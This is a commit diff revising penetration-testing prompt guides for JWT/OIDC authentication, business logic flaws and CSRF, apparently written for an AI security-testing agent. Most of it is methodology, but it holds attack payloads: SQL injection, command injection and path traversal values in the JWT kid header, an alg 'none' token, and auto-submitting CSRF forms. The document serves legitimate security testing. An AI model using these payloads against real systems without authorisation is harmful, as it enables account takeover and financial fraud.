refactor: Revise vulnerabilities prompts for clarity and comprehensiveness

This commit is contained in:
Ahmed Allam
2025-10-13 15:38:38 -07:00
committed by Ahmed Allam
parent fa566e5fb5
commit d4a62ec365
10 changed files with 1313 additions and 1513 deletions

View File

@@ -1,129 +1,147 @@
<authentication_jwt_guide>
<title>AUTHENTICATION & JWT VULNERABILITIES</title>
<title>AUTHENTICATION AND JWT/OIDC</title>
<critical>Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere.</critical>
<critical>JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.</critical>
<jwt_structure>
header.payload.signature
- Header: {% raw %}{"alg":"HS256","typ":"JWT"}{% endraw %}
- Payload: {% raw %}{"sub":"1234","name":"John","iat":1516239022}{% endraw %}
- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
</jwt_structure>
<scope>
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
- First-party and microservices verification, gateways, and JWKS distribution
</scope>
<common_attacks>
<algorithm_confusion>
RS256 to HS256:
- Change RS256 to HS256 in header
- Use public key as HMAC secret
- Sign token with public key (often in /jwks.json or /.well-known/)
</algorithm_confusion>
<methodology>
1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients.
2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json).
3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance.
4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced.
</methodology>
<none_algorithm>
- Set {% raw %}"alg": "none"{% endraw %} in header
- Remove signature completely (keep the trailing dot)
</none_algorithm>
<discovery_techniques>
<endpoints>
- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration
- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS
- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints
- App: /login, /callback, /refresh, /me, /session, /impersonate
</endpoints>
<weak_secrets>
Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret'
</weak_secrets>
<token_features>
- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %}
- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %}
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit").
</token_features>
</discovery_techniques>
<kid_manipulation>
- SQL Injection: {% raw %}"kid": "key' UNION SELECT 'secret'--"{% endraw %}
- Command injection: {% raw %}"kid": "|sleep 10"{% endraw %}
- Path traversal: {% raw %}"kid": "../../../../../../dev/null"{% endraw %}
</kid_manipulation>
</common_attacks>
<exploitation_techniques>
<signature_verification>
- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it
- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
</signature_verification>
<header_manipulation>
- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files
- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts
</header_manipulation>
<key_and_cache_issues>
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
</key_and_cache_issues>
<claims_validation_gaps>
- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
- typ/cty not enforced: accept ID token where access token required (token confusion)
</claims_validation_gaps>
<token_confusion_and_oidc>
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
</token_confusion_and_oidc>
<refresh_and_session>
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
- Long-lived JWTs with no revocation: persistent access post-logout
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
</refresh_and_session>
<transport_and_storage>
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
</transport_and_storage>
</exploitation_techniques>
<advanced_techniques>
<jwk_injection>
Embed public key in token header:
{% raw %}{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}{% endraw %}
</jwk_injection>
<microservices_and_gateways>
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
</microservices_and_gateways>
<jku_manipulation>
Set jku/x5u to attacker-controlled URL hosting malicious JWKS
</jku_manipulation>
<jws_edge_cases>
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
</jws_edge_cases>
<timing_attacks>
Extract signature byte-by-byte using verification timing differences
</timing_attacks>
</advanced_techniques>
<special_contexts>
<mobile>
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
</mobile>
<oauth_vulnerabilities>
<authorization_code_theft>
- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution
- Missing/predictable state parameter = CSRF
- PKCE downgrade: remove code_challenge parameter
</authorization_code_theft>
</oauth_vulnerabilities>
<sso_federation>
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
</sso_federation>
</special_contexts>
<saml_attacks>
- Signature exclusion: remove signature element
- Signature wrapping: inject assertions
- XXE in SAML responses
</saml_attacks>
<session_attacks>
- Session fixation: force known session ID
- Session puzzling: mix different session objects
- Race conditions in session generation
</session_attacks>
<password_reset_flaws>
- Predictable tokens: MD5(timestamp), sequential numbers
- Host header injection for reset link poisoning
- Race condition resets
</password_reset_flaws>
<mfa_bypass>
- Response manipulation: change success:false to true
- Status code manipulation: 403 to 200
- Brute force with no rate limiting
- Backup code abuse
</mfa_bypass>
<advanced_bypasses>
<unicode_normalization>
Different representations: admin@exmple.com (fullwidth), аdmin@example.com (Cyrillic)
</unicode_normalization>
<authentication_chaining>
- JWT + SQLi: kid parameter with SQL injection
- OAuth + XSS: steal tokens via XSS
- SAML + XXE + SSRF: chain for internal access
</authentication_chaining>
</advanced_bypasses>
<tools>
- jwt_tool: Comprehensive JWT testing
- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json
</tools>
<chaining_attacks>
- XSS → token theft → replay across services with weak audience checks
- SSRF → fetch private JWKS → sign tokens accepted by internal services
- Host header poisoning → OIDC redirect_uri poisoning → code capture
- IDOR in sessions/impersonation endpoints → mint tokens for other users
</chaining_attacks>
<validation>
To confirm authentication flaw:
1. Demonstrate account access without credentials
2. Show privilege escalation
3. Prove token forgery works
4. Bypass authentication/2FA requirements
5. Maintain persistent access
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS).
2. Demonstrate access token vs ID token confusion at an API.
3. Prove refresh token reuse without rotation detection or revocation.
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control.
5. Provide owner vs non-owner evidence with identical requests differing only in token context.
</validation>
<false_positives>
NOT a vulnerability if:
- Requires valid credentials
- Only affects own session
- Proper signature validation
- Token expiration enforced
- Rate limiting prevents brute force
- Token rejected due to strict audience/issuer enforcement
- Key pinning with JWKS whitelist and TLS validation
- Short-lived tokens with rotation and revocation on logout
- ID token not accepted by APIs that require access tokens
</false_positives>
<impact>
- Account takeover: access other users' accounts
- Privilege escalation: user to admin
- Token forgery: create valid tokens
- Bypass mechanisms: skip auth/2FA
- Persistent access: survives logout
- Account takeover and durable session persistence
- Privilege escalation via claim manipulation or cross-service acceptance
- Cross-tenant or cross-application data access
- Token minting by attacker-controlled keys or endpoints
</impact>
<remember>Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration.</remember>
<pro_tips>
1. Pin verification to issuer and audience; log and diff claim sets across services.
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk).
3. Test token reuse across all services; many backends only check signature, not audience/typ.
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks.
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up.
6. Try DPoP/mTLS absence to replay tokens from different devices.
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping.
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC.
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access.
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each.
</pro_tips>
<remember>Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.</remember>
</authentication_jwt_guide>

View File

@@ -1,143 +1,171 @@
<business_logic_flaws_guide>
<title>BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION</title>
<title>BUSINESS LOGIC FLAWS</title>
<critical>Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities.</critical>
<critical>Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.</critical>
<scope>
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
- Authorization-by-logic: feature gates, role transitions, approval workflows
- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
- Multi-tenant isolation: cross-organization data or action bleed
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
</scope>
<methodology>
1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount").
2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role.
3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit).
4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL.
5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation).
</methodology>
<discovery_techniques>
- Map complete user journeys and state transitions
- Document developer assumptions
- Find edge cases in workflows
- Look for missing validation steps
- Identify trust boundaries
<workflow_mapping>
- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
</workflow_mapping>
<input_surface>
- Hidden fields and client-computed totals; server must recompute on trusted sources
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
</input_surface>
<state_time_axes>
- Replays: resubmit stale finalize/confirm requests
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
</state_time_axes>
</discovery_techniques>
<high_value_targets>
<financial_workflows>
- Price manipulation (negative quantities, decimal truncation)
- Currency conversion abuse (buy weak, refund strong)
- Discount/coupon stacking
- Payment method switching after verification
- Cart manipulation during checkout
</financial_workflows>
<account_management>
- Registration race conditions (same email/username)
- Account type elevation
- Trial period extension
- Subscription downgrade with feature retention
</account_management>
<authorization_flaws>
- Function-level bypass (accessing admin functions as user)
- Object reference manipulation
- Permission inheritance bugs
- Multi-tenancy isolation failures
</authorization_flaws>
- Pricing/cart: price locks, quote to order, tax/shipping computation
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
</high_value_targets>
<exploitation_techniques>
<race_conditions>
Use race conditions to:
- Double-spend vouchers/credits
- Bypass rate limits
- Create duplicate accounts
- Exploit TOCTOU vulnerabilities
</race_conditions>
<state_machine_abuse>
- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
</state_machine_abuse>
<state_manipulation>
- Skip workflow steps
- Replay previous states
- Force invalid state transitions
- Manipulate hidden parameters
</state_manipulation>
<concurrency_and_idempotency>
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
</concurrency_and_idempotency>
<input_manipulation>
- Type confusion: string where int expected
- Boundary values: 0, -1, MAX_INT
- Format abuse: scientific notation, Unicode
- Encoding tricks: double encoding, mixed encoding
</input_manipulation>
</exploitation_techniques>
<numeric_and_currency>
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
</numeric_and_currency>
<common_flaws>
<shopping_cart>
- Add items with negative price
- Modify prices client-side
- Apply expired coupons
- Stack incompatible discounts
- Change currency after price lock
</shopping_cart>
<quotas_limits_inventory>
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
- Distributed counters without strong consistency enabling double-consumption
</quotas_limits_inventory>
<payment_processing>
- Complete order before payment
- Partial payment acceptance
- Payment replay attacks
- Void after delivery
- Refund more than paid
</payment_processing>
<refunds_chargebacks>
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
</refunds_chargebacks>
<user_lifecycle>
- Premium features in trial
- Account deletion bypasses
- Privilege retention after demotion
- Transfer restrictions bypass
</user_lifecycle>
</common_flaws>
<feature_gates_and_roles>
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
</feature_gates_and_roles>
<advanced_techniques>
<business_constraint_violations>
- Exceed account limits
- Bypass geographic restrictions
- Violate temporal constraints
- Break dependency chains
</business_constraint_violations>
<event_driven_sagas>
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
</event_driven_sagas>
<workflow_abuse>
- Parallel execution of exclusive processes
- Recursive operations (infinite loops)
- Asynchronous timing exploitation
- Callback manipulation
</workflow_abuse>
</advanced_techniques>
<microservices_boundaries>
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
</microservices_boundaries>
<multi_tenant_isolation>
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
</multi_tenant_isolation>
<bypass_techniques>
- Content-type switching (json/form/multipart) to hit different code paths
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
</bypass_techniques>
<special_contexts>
<ecommerce>
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
- Modify shipping tier post-quote; abuse returns to keep product and refund
</ecommerce>
<banking_fintech>
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
- Exploit grace periods on holds/authorizations to withdraw again before settlement
</banking_fintech>
<saas_b2b>
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
</saas_b2b>
</special_contexts>
<chaining_attacks>
- Business logic + race: duplicate benefits before state updates
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
- Business logic + CSRF: force a victim to complete a sensitive step sequence
</chaining_attacks>
<validation>
To confirm business logic flaw:
1. Demonstrate financial impact
2. Show consistent reproduction
3. Prove bypass of intended restrictions
4. Document assumption violation
5. Quantify potential damage
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas).
2. Provide side-by-side evidence for intended vs abused flows with the same principal.
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views).
4. Quantify impact per action and at scale (unit loss × feasible repetitions).
</validation>
<false_positives>
NOT a business logic flaw if:
- Requires technical vulnerability (SQLi, XSS)
- Working as designed (bad design ≠ vulnerability)
- Only affects display/UI
- No security impact
- Requires privileged access
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
- Visual-only inconsistencies with no durable or exploitable state change
- Admin-only operations with proper audit and approvals
</false_positives>
<impact>
- Financial loss (direct monetary impact)
- Unauthorized access to features/data
- Service disruption
- Compliance violations
- Reputation damage
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
- Regulatory/contractual violations (billing accuracy, consumer protection)
- Denial of inventory/services to legitimate users through resource exhaustion
- Privilege retention or unauthorized access to premium features
</impact>
<pro_tips>
1. Think like a malicious user, not a developer
2. Question every assumption
3. Test boundary conditions obsessively
4. Combine multiple small issues
5. Focus on money flows
6. Check state machines thoroughly
7. Abuse features, don't break them
8. Document business impact clearly
9. Test integration points
10. Time is often a factor - exploit it
1. Start from invariants and ledgers, not UI—prove conservation of value breaks.
2. Test with time and concurrency; many bugs only appear under pressure.
3. Recompute totals server-side; never accept client math—flag when you observe otherwise.
4. Treat idempotency and retries as first-class: verify key scope and persistence.
5. Probe background workers and webhooks separately; they often skip auth and rule checks.
6. Validate role/feature gates at the service that mutates state, not only at the edge.
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues.
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss.
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact.
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards.
</pro_tips>
<remember>Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain.</remember>
<remember>Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.</remember>
</business_logic_flaws_guide>

View File

@@ -1,168 +1,174 @@
<csrf_vulnerability_guide>
<title>CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION</title>
<title>CROSS-SITE REQUEST FORGERY (CSRF)</title>
<critical>CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser.</critical>
<critical>CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.</critical>
<scope>
- Web apps with cookie-based sessions and HTTP auth
- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
- Authentication flows: login/logout, password/email change, MFA toggles
- OAuth/OIDC: authorize, token, logout, disconnect/connect
</scope>
<methodology>
1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight).
2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer.
3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation.
4. Validate across browsers; behavior differs by SameSite and navigation context.
</methodology>
<high_value_targets>
- Password/email change forms
- Money transfer/payment functions
- Account deletion/deactivation
- Permission/role changes
- API key generation/regeneration
- OAuth connection/disconnection
- 2FA enable/disable
- Privacy settings modification
- Admin functions
- File uploads/deletions
- Credentials and profile changes (email/password/phone)
- Payment and money movement, subscription/plan changes
- API key/secret generation, PAT rotation, SSH keys
- 2FA/TOTP enable/disable; backup codes; device trust
- OAuth connect/disconnect; logout; account deletion
- Admin/staff actions and impersonation flows
- File uploads/deletes; access control changes
</high_value_targets>
<discovery_techniques>
<token_analysis>
Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN
<session_and_cookies>
- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure.
- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone).
</session_and_cookies>
Check if tokens are:
- Actually validated (remove and test)
- Tied to user session
- Reusable across requests
- Present in GET requests
- Predictable or static
</token_analysis>
<token_and_header_checks>
- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path.
- Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values.
</token_and_header_checks>
<http_methods>
- Test if POST endpoints accept GET
- Try method override headers: _method, X-HTTP-Method-Override
- Check if PUT/DELETE lack protection
</http_methods>
<method_and_content_types>
- Confirm whether GET, HEAD, or OPTIONS perform state changes.
- Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain.
- Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON.
</method_and_content_types>
<cors_profile>
- Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration.
- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge.
</cors_profile>
</discovery_techniques>
<exploitation_techniques>
<basic_forms>
HTML form auto-submit:
<form action="https://target.com/transfer" method="POST">
<input name="amount" value="1000">
<input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
</basic_forms>
<navigation_csrf>
- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced.
- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks.
</navigation_csrf>
<simple_ct_csrf>
- application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings.
- text/plain form bodies can slip through validators and be parsed server-side.
</simple_ct_csrf>
<json_csrf>
For JSON endpoints:
<form enctype="text/plain" action="https://target.com/api">
<input name='{% raw %}{"amount":1000,"to":"attacker","ignore":"{% endraw %}' value='"}'>
</form>
- If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side.
- Some frameworks accept JSON keys via form fields (e.g., {% raw %}data[foo]=bar{% endraw %}) or treat duplicate keys leniently.
</json_csrf>
<multipart_csrf>
For file uploads:
Use XMLHttpRequest with credentials
Generate multipart/form-data boundaries
</multipart_csrf>
<login_logout_csrf>
- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attackers account.
- Login CSRF: submit attacker credentials to victims browser; later actions occur under attackers account.
</login_logout_csrf>
<oauth_oidc_flows>
- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations.
- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations.
</oauth_oidc_flows>
<file_and_action_endpoints>
- File upload/delete often lack token checks; forge multipart requests to modify storage.
- Admin actions exposed as simple POST links are frequently CSRFable.
</file_and_action_endpoints>
</exploitation_techniques>
<bypass_techniques>
<token_bypasses>
- Null token: remove parameter entirely
- Empty token: csrf_token=
- Token from own account: use your valid token
- Token fixation: force known token value
- Method interchange: GET token used for POST
</token_bypasses>
<header_bypasses>
- Referer bypass: use data: URI, about:blank
- Origin bypass: null origin via sandboxed iframe
- CORS misconfigurations
</header_bypasses>
<content_type_tricks>
- Change multipart to application/x-www-form-urlencoded
- Use text/plain for JSON endpoints
- Exploit parsers that accept multiple formats
</content_type_tricks>
</bypass_techniques>
<advanced_techniques>
<subdomain_csrf>
- XSS on subdomain = CSRF on main domain
- Cookie scope abuse (domain=.example.com)
- Subdomain takeover for CSRF
</subdomain_csrf>
<samesite_nuance>
- Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps.
- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices.
</samesite_nuance>
<csrf_login>
- Force victim to login as attacker
- Plant backdoors in victim's account
- Access victim's future data
</csrf_login>
<origin_referer_obfuscation>
- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null.
- about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match.
</origin_referer_obfuscation>
<csrf_logout>
- Force logout → login CSRF → account takeover
</csrf_logout>
<double_submit_csrf>
If using double-submit cookies:
- Set cookie via XSS/subdomain
- Cookie injection via header injection
- Cookie tossing attacks
</double_submit_csrf>
</advanced_techniques>
<special_contexts>
<websocket_csrf>
- Cross-origin WebSocket hijacking
- Steal tokens from WebSocket messages
</websocket_csrf>
<method_override>
- Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST.
</method_override>
<graphql_csrf>
- GET requests with query parameter
- Batched mutations
- Subscription abuse
- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads.
- Batched operations may hide mutations within a nominally safe request.
</graphql_csrf>
<api_csrf>
- Bearer tokens in URL parameters
- API keys in GET requests
- Insecure CORS policies
</api_csrf>
<websocket_csrf>
- Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions.
</websocket_csrf>
</advanced_techniques>
<bypass_techniques>
<token_weaknesses>
- Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET.
- Double-submit cookie without Secure/HttpOnly, or with predictable token sources.
</token_weaknesses>
<content_type_switching>
- Switch between form, multipart, and text/plain to reach different code paths and validators.
- Use duplicate keys and array shapes to confuse parsers.
</content_type_switching>
<header_manipulation>
- Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance.
- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens.
</header_manipulation>
</bypass_techniques>
<special_contexts>
<mobile_spa>
- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links.
- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable.
</mobile_spa>
<integrations>
- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too.
</integrations>
</special_contexts>
<chaining_attacks>
- CSRF + IDOR: force actions on other users' resources once references are known.
- CSRF + Clickjacking: guide user interactions to bypass UI confirmations.
- CSRF + OAuth mix-up: bind victim sessions to unintended clients.
</chaining_attacks>
<validation>
To confirm CSRF:
1. Create working proof-of-concept
2. Test across browsers
3. Verify action completes successfully
4. No user interaction required (beyond visiting page)
5. Works with active session
1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting.
2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified.
3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch).
4. Provide before/after state evidence for the same account.
5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin).
</validation>
<false_positives>
NOT CSRF if:
- Requires valid CSRF token
- SameSite cookies properly configured
- Proper origin/referer validation
- User interaction required
- Only affects non-sensitive actions
- Token verification present and required; Origin/Referer enforced consistently.
- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests.
- Only idempotent, non-sensitive operations affected.
</false_positives>
<impact>
- Account takeover
- Financial loss
- Data modification/deletion
- Privilege escalation
- Privacy violations
- Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions.
- Durable authorization changes (role/permission flips, key rotations) and data loss.
</impact>
<pro_tips>
1. Check all state-changing operations
2. Test file upload endpoints
3. Look for token disclosure in URLs
4. Chain with XSS for token theft
5. Check mobile API endpoints
6. Test CORS configurations
7. Verify SameSite cookie settings
8. Look for method override possibilities
9. Test WebSocket endpoints
10. Document clear attack scenario
1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available.
2. Test login/logout, OAuth connect/disconnect, and account linking first.
3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them.
4. Toggle SameSite and observe differences across navigation vs XHR.
5. For GraphQL, attempt GET queries or persisted queries that carry mutations.
6. Always try method overrides and parser differentials.
7. Combine with clickjacking when visual confirmations block CSRF.
</pro_tips>
